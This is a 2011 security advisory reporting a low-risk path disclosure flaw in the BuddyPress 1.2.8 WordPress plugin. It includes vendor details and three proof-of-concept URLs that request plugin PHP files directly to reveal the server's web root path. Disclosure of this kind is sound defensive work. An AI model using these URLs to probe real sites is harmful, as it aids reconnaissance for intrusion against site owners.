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HTB22955: Path disclosure in BuddyPress WordPress plugin


From: advisory () htbridge ch
Date: Tue, 26 Apr 2011 16:07:41 +0200 (CEST)

Vulnerability ID: HTB22955
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_buddypress_wordpress_plugin.html
Product: BuddyPress
Vendor: BuddyPress ( http://buddypress.org/ ) 
Vulnerable Version: 1.2.8
Vendor Notification: 12 April 2011 
Vulnerability Type: Path disclosure
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
A remote user can determine the full path to the web root directory and other potentially sensitive information.
The following PoC is available:

http://host/wp-content/plugins/buddypress/bp-blogs.php
http://host/wp-content/plugins/buddypress/bp-xprofile/bp-xprofile-admin.php
http://host/wp-content/plugins/buddypress/bp-themes/bp-default/members/index.php




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